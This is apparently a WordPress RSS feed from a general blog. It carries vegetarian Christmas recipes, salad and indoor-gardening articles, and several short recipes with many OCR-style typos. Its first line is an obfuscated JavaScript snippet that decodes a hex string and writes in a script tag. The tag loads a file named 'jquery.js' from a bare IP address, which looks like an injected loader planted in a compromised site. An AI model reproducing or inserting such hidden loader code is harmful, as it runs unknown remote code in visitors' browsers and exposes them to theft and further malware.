var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Vegetarian – Blogenium http://www.blogenium.com General Blog about any topic Tue, 09 Jan 2018 09:33:42 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.4 https://i0.wp.com/www.blogenium.com/wp-content/uploads/2016/04/cropped-BLOGENIUM.png?fit=32%2C32 Vegetarian – Blogenium http://www.blogenium.com 32 32 101109536 Ultimate Vegetarian Christmas Menu http://www.blogenium.com/2013/12/19/ultimate-vegetarian-christmas-menu/ http://www.blogenium.com/2013/12/19/ultimate-vegetarian-christmas-menu/#respond Thu, 19 Dec 2013 00:01:10 +0000 http://www.blogenium.com/?p=10122 While vegetarianism has become more and more mainstream, it remains a bit difficult for vegetarians to enjoy a holiday feast as easily as their omnivorous family members and friends. It’s high time that that changes, though; perhaps this Christmas is the best place to start. Below are four recipes that while sticking to the tenants of meat-free eating, satisfy taste buds of all varieties; simply put, they’re delicious.

1)    Goat Cheese and Polenta Stacks

From: Food Republic

OLYMPUS DIGITAL CAMERA

Photo Credit

Ingredients:

  • 6 cups vegetable broth
  • 2 ounces Parmesan cheese (or other strong-tasting cheese)
  • 2 1/2 cups quick-cooking polenta
  • 4 tablespoons unsalted butter
  • 3/4 cup extra-virgin olive oil, plus extra for brushing
  • 2 cloves garlic
  • 1 bunch fresh basil or flat-leaf parsley
  • 6 large portobello mushrooms
  • 2-3 red bell peppers
  • 3 x 3 1/2 ounces ripe-rinded goat cheese
  • 2 tablespoons tapenade or pesto
  • Sea salt and freshly ground black pepper

Directions:

  1. Pour the broth into a large pan, then bring to a boil. While you wait, finely grate the Parmesan. Carefully pour the polenta into the boiling broth in a steady stream, stirring constantly with a wooden spoon, until all of the polenta has been added. The polenta will thicken up quickly.
  2. Cook for a couple of minutes until very thick, stirring with a long-handed wooden spoon, as it will bubble and pop as it boils. Take the pan from the heat, then stir in the grated cheese, the butter and plenty of salt and pepper. Taste a little bit – you may be surprised how much seasoning polenta can need.
  3. Rub a little oil around the inside of an 8 x 12-inch baking pan, then pour in the polenta and smooth the top. Let cool for at least 10 minutes. It will set firm. You can do this a day ahead if you like – just keep it covered and in the fridge.
  4. Make the herbed oil and prepare the vegetables. Crush the garlic and finely chop the basil. Add to a bowl with the remaining oil and season with salt and pepper.
  5. If the mushroom stems are poking above the cap, then trim to cap level with a knife. Deseed, then quarter, the bell peppers. Brush the bell peppers and mushrooms with a little herbed oil.
  6. Using a 4-inch cookie cutter (or you can use a saucer as a template to cut around), cut out 6 circles from the polenta. Cut the goat cheeses into 6 halves.
  7. Before you begin cooking, check that your charcoal is glowing white hot, or your gas grill is preheated to 400º F. Lightly brush the polenta with a little plain oil. Cook the polenta for a couple of minutes on each side, either directly on the grill or in a grill pan set over the grill, until golden and crisp. Set aside and keep warm.
  8. Place the mushrooms and bell peppers directly on the grill rack for about 5 minutes on each side, until golden and softened. Spoon some tapenade or pesto into the middle of each circle of polenta, then top with a piece of pepper, an upturned mushroom and then a circle of goat cheese. Drizzle with more of the garlic and basil oil, then serve.

2)    Gravy-Free Roasted Potatoes:

From: Gluten-Free Goddess

blogenium_roastedpotatoes

Photo Credit

Ingredients:

  • 2 lbs. baby Yukon gold potatoes, washed, quartered or cut up
  • 1 smallish onion, diced
  • 4 cloves garlic, chopped
  • 1 bell pepper, chopped
  • 1/3 cup raisins- dark or golden
  • Handful of grape or cherry tomatoes, halved
  • Handful of baby spinach leaves, washed, patted dry
  • Handful of black olives
  • 1/4 cup olive oil
  • 1/2 to 3/4 cup light broth- as needed
  • 1 14-oz. can diced tomatoes with spicy green chiles
  • 1 teaspoon thyme
  • A sprig of fresh rosemary, chopped
  • Sea salt and fresh ground pepper
  • Hot red pepper flakes, to taste

Directions:

  1. Preheat the oven to 375º F. Lightly oil the bottom of a single large gratin dish or four individual baking dishes.
  2. Dump the potatoes into a bowl. Add in the onion, garlic, bell pepper, raisins, fresh tomatoes, spinach leaves and black olives. Mix. Add in the olive oil, half a cup of broth and diced tomatoes with juice. Stir to mix. Add the thyme and rosemary; season with sea salt and pepper. Add a shake of hot red pepper flakes, to taste. Stir to coat all the potatoes. If you need a splash more broth to make everything moist, add it in.
  3. Spoon the potato mixture into the oiled baking dish or dishes. Roast in the center of a preheated oven until the potatoes are slightly browned and fork tender – roughly 35 to 45 minutes, depending upon the size of the potato pieces.

3)    Cornbread, Apricot, and Thyme Stuffing:

From: Woman and Home

blogenium_stuffing

Photo Credit

Ingredients:

The Cornbread

  • 8 oz. cornmeal
  • 8 oz. plain flour
  • 2 oz. caster sugar
  • 1 tbsp baking powder
  • 8 fl. oz. milk
  • 1 large egg, beaten
  • 2.5 oz. butter, melted

The Stuffing

  • 1/2 oz. butter plus 2 oz. butter, melted, for later
  • 1 tbsp vegetable oil
  • 2 garlic cloves, crushed
  • 1 cornbread loaf (recipe above), cut into one-inch cubes
  • 3 sprigs of thyme, leaves picked
  • 3 oz. pine nuts, toasted
  • 4 oz. dried apricots, chopped

Directions:

Day One: The Cornbread

  1. Preheat the oven to 450º F.
  2. Mix the cornmeal, flour, sugar, baking powder and half a teaspoon of salt. Add the milk and egg and stir well. Add the melted butter and combine.
  3. Pour into a well-buttered loaf tin and bake for about 20 minutes until it sounds hollow when tapped. Leave to cool overnight, uncovered.

Day Two: The Stuffing:

  1. Preheat the oven to 350º F.
  2. Fry the shallots in a half-ounce of butter and the oil until softened. Add the garlic and cook for a few minutes and season well.
  3. Mix the shallots, cornbread, herbs, pine nuts and apricots in a bowl, then add the melted butter, stock and seasoning. Place in a well-buttered oven-proof dish, cover with foil and bake for 25 minutes. Remove the foil and bake for 5 minutes. If it’s a little dry, add more stock.

4)    Roasted Winter Vegetables

From: Barefoot Contessa

blogenium_roastedvegetables

Photo Credit

Ingredients:

  • 1 pound carrots, peeled
  • 1 pound parsnips, peeled
  • 1 large sweet potato, peeled
  • 1 small butternut squash, peeled and seeded (about 2 pounds)
  • 3 tbsp olive oil
  • 1 1/2 tsp kosher salt
  • 1/2 tsp freshly ground black pepper
  • 2 tbsp chopped flat-leaf parsley

Directions:

  1. Preheat the oven to 425º F.
  2. Cut the carrots, parsnips, sweet potatoes and butternut squash in 1 to 1.25-inch cubes. All the vegetables will shrink while baking, so don’t cut them too small.
  3. Place all the cut vegetables in a single layer on two baking sheets. Drizzle them with olive oil, salt and pepper. Toss well. Bake for 25 to 35 minutes, until all the vegetables are tender, turning once with a metal spatula.
  4. Sparkle with parsley, season to taste and serve hot.

A combination of any of these dishes will make for a great vegan Christmas dinner. If you’re dining with both vegans and non-vegans, you could make a dish or two along with the non-vegan recipes that will be adorning your holiday dinner table, that way there’s something for everyone. Happy holidays!

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Home-Grown Salad Plants http://www.blogenium.com/2012/11/16/home-grown-salad-plants/ http://www.blogenium.com/2012/11/16/home-grown-salad-plants/#respond Fri, 16 Nov 2012 00:01:19 +0000 http://www.blogenium.com/?p=4139 Alys Fowler, a BBC presenter and a trained gardener, specializes in growing plants in nooks and corners of urban homes. Led by her philosophy of trying to use all available space for growing plants, she manages to grow plants in window-sills, stair-wells and balconies. Some of the brilliant techniques adopted by this lady for growing plants indoors are given below.

Window-boxes for the plants:

Window-boxes for the plants
Window-boxes for the plants

If you wish to grow plants in a window-sill, you should have a window box.  Ensure that the window-box has a depth of at least 20 centimeters. It should have drainage holes at the bottom.

You can choose to have wood, plastic or metal boxes. Wooden boxes are water-retentive, plastic boxes are convenient for usage and metal boxes are appealing. Incase of a metal box; ensure it is lined with cardboard. Make sure the box is large enough to accommodate the roots and it is secured well.

Plant composts:

Plant composts
Plant composts

Invest on the right compost which is light and has good absorbent properties. For lettuce, plant the seeds about 5 centimeters apart in the compost filled box. One way to water the box is to place the window box in a water container and allow the upper surface to dampen.

In case you are doing it in the conventional way, ensure you spray water until water leaks out of the drainage holes. You can improve the quality of the compost by adding rice worms and tea decoctions.

Growing salad plants:

Growing salad plants
Growing salad plants

Lettuces must be placed in shade, but most salad plants such nasturtiums have to be placed in sufficient sunlight. Herbs like mitsuba and mint however require less sunlight.

If you are growing plants in a balcony you can choose from a range of salad plants. You can grow radishes, French beans, spring onions and tomatoes. Cucumber plants are creepers that require support to grow. Water them frequently as that enhances the taste of the veggies.

Salad leaves can be grown during spring and harvested in autumn. For a regular supply of salad veggies, have plants at different growth stages. Wrap the window-box in a paper bag and place it in shade till the seeds to germinate. When the saplings are about an inch high, the bag is removed and the box is exposed to sunlight.

The saplings can be used for salad garnishes when they are about 2 inches high. Instead of lettuce you could also grow sunflower greens and buckwheat.
For fast results, you can sprout sunflower seeds. The seeds take only about a day or two to sprout and are rich in nutrients. Broccoli, red Clover and Alfalfa are sprouts that can be easily grown. You could also grow legumes like, peas, aduki beans and chick peas.

Bush Basil, Chives, Pennyroyal and Winter Savoury grow well in boxes. If you have a sunny window sill you could try growing Cayenne peppers. You could also grow sprouts which are excellent salad ingredients.

If you have space constraints while growing sprouts, you could adopt a tiered system of trays where you can grow sprouts one over the other. Sprouting jars with mesh lids that allow easy draining of water are also excellent choices for sprouts.

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Five Essential Ingredients for an Any time Salad http://www.blogenium.com/2012/11/01/five-essential-ingredients-for-an-any-time-salad/ http://www.blogenium.com/2012/11/01/five-essential-ingredients-for-an-any-time-salad/#respond Thu, 01 Nov 2012 00:01:28 +0000 http://www.blogenium.com/?p=3883 It may seem easy to make a nutritious salad quickly, but a good salad will require fresh ingredients. It will also need that little something to excite your taste buds. Following are five of the essential ingredients required to make a tasty salad.

Five Essential Ingredients for an Any time Salad
Five Essential Ingredients for an Any time Salad

Greens:

Greens are a common ingredient in most salads. While they are very healthy, just greens may not necessarily make for an exciting dinner salad. Basic greens can be made more textural, colourful and appealing by adding more variety to the salad. Prepared mixed greens can be purchased from the market and used to make salads as they have the properties to extend the life of the greens by more than a week. 

Vegetables:

Salads can be made completely of greens, but adding vegetables will make your salad taste different. Vegetables such as frozen peas can add flavour to salads when tossed into them. They made salads tastier and make them appear as a delicious vegetable dishes rather than your everyday bowl of greens. A gourmet salad can be made quickly by adding slices of frozen carrots, marinated artichoke hearts or canned asparagus. Black olives and pickled, canned beets also make for interesting options.

Colourful fresh vegetables can be added to supplement the frozen or canned ingredients. Make sure that you choose the vegetables with less water content. Radishes, green onions and bell peppers hold well and can be prepared days before you make the salad while cucumbers and tomatoes must be chopped right before they are served. 

Protein:

The appeal and flavour of a plain salad can be improved effectively by adding some protein. Salads can be transformed into a great meal rather than a boring food by the addition of protein due to the flavour present in proteins. While your family may usually be forced to eat salads, you will notice fewer complaints when protein is added to their dinner bowls.  

Topping:

Prepared croutons can be used to add crunch to your salad. You can find them in a variety of sizes and flavours and they promise to add value to the dish. Seeds can also be sprinkled to your salad for more flavour. Sunflower seeds, pumpkin seeds and sesame seeds are high in minerals and vitamins and add crunch as well. Even nuts such as almonds, walnuts, cashews and pistachios are great additions. 

Dressings:

A salad dressing can either be the best or the worst ingredient in the dish. Adding too much will take away its natural flavour while adding too little will just leave you with a pile of ingredients that do not much to excite your senses. Prepared dressings can be used as a quick option as they last for a long time in your fridge. Vinaigrette dressing is a great option as it is the ideal natural, simple and quick one.

It is important to make sure that you are using fresh ingredients for your salad and that all the ingredients are added in the right proportion.

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How to prepare Apricot Filling http://www.blogenium.com/2012/02/10/how-to-prepare-apricot-filling/ http://www.blogenium.com/2012/02/10/how-to-prepare-apricot-filling/#respond Fri, 10 Feb 2012 07:33:49 +0000 http://www.blogenium.com/?p=863 Very nice Apricot Filling is our today’s recipe. Hope you will like and enjoy it.

Ingredients:

  • 30 (1oz) dried apricots
  • 185g (60z) can apricot nectar
  • 2 tablespoons sugar
  • 2 tablespoons dry white wine
  • 1 teaspoon gelatine
  • 2 teaspoon water
  • 125g (40z) packaged cream cheese
  • 1 cup cream

How to Prepare:

  1. Chop apricots.
  2. Put in saucepan with nectar, sugar and wine.
  3. Stir over heat until sugar dissolves and mixture comes to boil; reduce heat, simmer 10 minutes.
  4. Remove from heat, drain, reserve apricots and liquid separately.
  5. Sprinkle gelatine over water, stand over hot water until dissolved, add to apricot liquid.
  6. Beat cream cheese until smooth, add apricot liquid, fold in reserved apricot shell, refrigerate until set.
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How to prepare Spinach Pie http://www.blogenium.com/2012/01/28/how-to-prepare-spinach-pie/ http://www.blogenium.com/2012/01/28/how-to-prepare-spinach-pie/#respond Sat, 28 Jan 2012 12:39:21 +0000 http://www.blogenium.com/?p=758 This dish reminds me of Pop Eye (the cartoon character) which loves to eat Spinach, as Spinach gives him a lot of energy to fight against Evils. So Today’s Recipe Spinach Pie will also gives you a lot of Energy. Enjoy preparing it and eat with joy.

Ingredients:

PASTRY

  • 1½ cups wholemeal plain flour
  • 1 teaspoon vegetable salt
  • 1½ cups wheatgerm
  • 125g (40z) vegetable margarine
  • ⅓ cup water, approximately

FILLING

  • 2 bunches spinach (approximately 20 stalks)
  • 500g (1lb) potatoes
  • 250g (80z) cottage cheese
  • ½ teaspoon basil
  • ¼ teaspoon mixed herbs
  • ¼ teaspoon nutmeg
  • 1 teaspoon vegetable salt

How to Prepare:

Pastry:

  1. Sift flour and salt into bowl, add husks in sifter to flour, fold in wheatgerm.
  2. Rub in margarine until mixture resembles coarse breadcrumbs, mix with enough water to make a stiff dough: knead lightly.
  3. Roll out half pastry on floured surface to 23cm (9m) circle using saucepan lid as guide.
  4. Put pastry circle on to greased oven tray, spoon over cold spinach mixture, spreading to within 2.5cm (1in) of edge of circle, pilmg up in the center.
  5. Brush edge of pastry with water.
  6. Roll out remaining pastry to 30cm (12in) circle.
  7. Carefully lift over spinach, casing edges together: press edges together with fork.
  8. Trim edge with sharp knife, make two slits in top of pastry.
  9. Brush pastry with water.
  10. Bake in hot oven 15 minutes, reduce heat to moderate, cook further 15 to 20 minutes or until golden brown.

Filling:

  1. Wash and chop spinach.
  2. Pet in saucepan with just enough water to cover base of saucepan, cover, cook until tender drain well.
  3. Peel potatoes, cut into cubes, cook in salted water until tender: drain.
  4. Combine spinach, potato, cottage cheese, basil, mixed herbs, nutmeg and salt, mix well, allow to cool.
[Serves 4 to 6] ]]>
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How to prepare Hot Rice Salad With Vegetables http://www.blogenium.com/2012/01/26/how-to-prepare-hot-rice-salad-with-vegetables/ http://www.blogenium.com/2012/01/26/how-to-prepare-hot-rice-salad-with-vegetables/#respond Thu, 26 Jan 2012 00:49:34 +0000 http://www.blogenium.com/?p=783 Hot Rice Salad With Vegetables may brings water in your mouth, as it looks very delicious, tasty and nutrition meal, hopefully you will enjoy making and eating it.

Ingredients:

  • 1 cup brown rice
  •  ¼ cup oil
  • 375g (120z) packet frozen broccoli
  • 1 red pepper
  • 3 sticks celery
  • 6 shallots
  • 6 radishes
  • vegetable salt
  • 1 teaspoon sit sauce

How to Prepare:

  1. Gradually add rice to large quantity of boiling salted water, boil uncovered for 20 to 25 minutes or until rice is tender; drain.
  2. Defrost broccoli, cut into section.
  3. Heat oil in frying pan, add broccoli, seeded and cubed red pepper, sliced celery, chopped shallots and sliced radishes, cook quickly for 3 minutes.
  4. Add rice, loss for 3 minutes.
  5. Season with salt.
  6. Add soy sauce just before serving, toss until combined.
  7. Or rice, with the soy sauce added, can be placed in serving dish and the vegetables arranged on top.
[Serves 6] ]]>
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How to prepare Cottage Cheese Loaf http://www.blogenium.com/2012/01/24/how-to-prepare-cottage-cheese-loaf/ http://www.blogenium.com/2012/01/24/how-to-prepare-cottage-cheese-loaf/#respond Tue, 24 Jan 2012 01:03:21 +0000 http://www.blogenium.com/?p=786 Cottage Cheese Loaf full of Nutrition, full of taste and full of energy is our today’s planned recipe, hope you will enjoy eating it.

Ingredients:

  • 1kg (2lb) cottage cheese
  • 2 cups rolled oats
  • 2 large onions
  • 3 eggs
  • vegetable salt
  • 2 teaspoons mixed herbs
  • ⅓ cup milk

How to Prepare:

  1. Peel and grate onions or chop very finely.
  2. Combine all ingredients, blend together well.
  3. One tablespoon of soy sauce also can be blended in.
  4. Pour into well-greased, deep 20cm (8in) casserole.
  5. bake in moderate oven approximately 1 hour or until firm.
[Serves 6] ]]>
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How to prepare Vegetable Pastries http://www.blogenium.com/2012/01/23/how-to-prepare-vegetable-pastries/ http://www.blogenium.com/2012/01/23/how-to-prepare-vegetable-pastries/#respond Mon, 23 Jan 2012 12:39:16 +0000 http://www.blogenium.com/?p=755 Very unique and delicious dish added in Today’s Recipe and it is having the name as Vegetable Pastries. It may be having Fun preparing this, but you will really like to have this in your supper with tea.

Ingredients:

  • 2 cups wholemeal plain flour
  • ½ teaspoon vegetable salt
  • 60g (20z) vegetable margarine
  • ½ cup water
  • oil for deep-frying
  • FILLING
  • 60g (20z) vegetable margarine
  • 1 large onion
  • 1 clove garlic
  • 500g (1lb) ripe tomatoes
  • 2 sticks celery
  • 1 red pepper
  • 470g (150z) can red kidney beans
  • vegetable salt

How to Prepare:

Pastry:

  1. Sift flour and salt into bowl, rub in margarine until mixture resembles fine breadcrumbs.
  2. Add water mix to a pliable dough.
  3. Turn out on to lightly floured surface, knead 5 minutes.
  4. Cover pastry, stand 1 hour, knead again 3 minutes.
  5. Roll out to 3mm thickness.
  6. Cut into rounds, using 15cm (6in) round cutter or use saucer guide.
  7. Brush edges with a little water, spoon 2 tablespoons filling into centre of each round.
  8. Pinch edges together, put into deep hot oil, fry until golden brown, approximately 2 minutes.

Filling:

  1. Heat margarine in pan, add peeled and chopped omen and crushed garlic, saute until omen is tender.
  2. Add roughly chopped and chopped pepper, drained and rinsed beans and vegetable salt, stir until combined.
  3. Cover, simmer gently 15 minutes, remove lid, simmer further 10 minutes or until mixture is thick.
  4. Allow to cool.
  5. Makes 8 pasties.
[Serves 4] ]]>
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How to prepare Vegetarian Spaghetti http://www.blogenium.com/2012/01/20/how-to-prepare-vegetarian-spaghetti/ http://www.blogenium.com/2012/01/20/how-to-prepare-vegetarian-spaghetti/#respond Fri, 20 Jan 2012 00:33:52 +0000 http://www.blogenium.com/?p=780 Lets prepare Vegetarian Spaghetti today. Delicious, yummy spaghetti in your lunch or dinner may makes you happy, especially children.

Ingredients:

  • 1 tablespoon oil
  • 1 large onion
  • 1 clove garlic
  • 500g (1lb) tomatoes
  • ½ teaspoon mixed herbs
  • 1 cup water
  • salt
  • 250g (80z) wholemeal spaghetti
  • 470g (150z) can nutmeat

How to Prepare:

  1. Cook spaghetti in boiling salted water 12 to 15 minutes or until tender; drain.
  2. Heat oil in pan, add peeled and finely chopped onion and crushed garlic, saute until onion is transparent.
  3. Add nutmeat, mix well, cook 1 minutes.
  4. Stir in peeled and roughly chopped tomatoes, mixed herbs and water, mix well.
  5. Season with salt, cover, simmer gently 10 minutes; add extra ½ cup of water if mixture becomes too dry.
  6. Serve over spaghetti.
[Serves 4] ]]>
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How to prepare Sesame Sticks http://www.blogenium.com/2012/01/19/how-to-prepare-sesame-sticks/ http://www.blogenium.com/2012/01/19/how-to-prepare-sesame-sticks/#respond Thu, 19 Jan 2012 12:39:19 +0000 http://www.blogenium.com/?p=761 We are going to prepare Sesame Sticks. Children can take these to their schools for Lunch. Nutrition dish having a lot of energy. Enjoy preparing it.

Ingredients:

  • 250g (80z) fresh or canned bean curd
  • 1 egg
  • 1 tablespoon cornflour
  • 1 teaspoon vegetable salt
  • ¼ teaspoon five spice powder
  • 1 teaspoon sesame oil
  • 12 slices wholemeal bread
  • sesame seeds
  • oil for deep-frying

How to Prepare:

  1. Drain bean curd, combine with beaten egg, cornflour, salt, five spice powder and sesame oil, mix well .
  2. Remove crusts from bread, spread paste over bread, sprinkle with sesame seeds.
  3. Cut each slice into 3 even sticks.
  4. Deep-fry in hot oil until golden brown.
  5. Serve as a party savoury.

 

 

 

 

 

 

 

 

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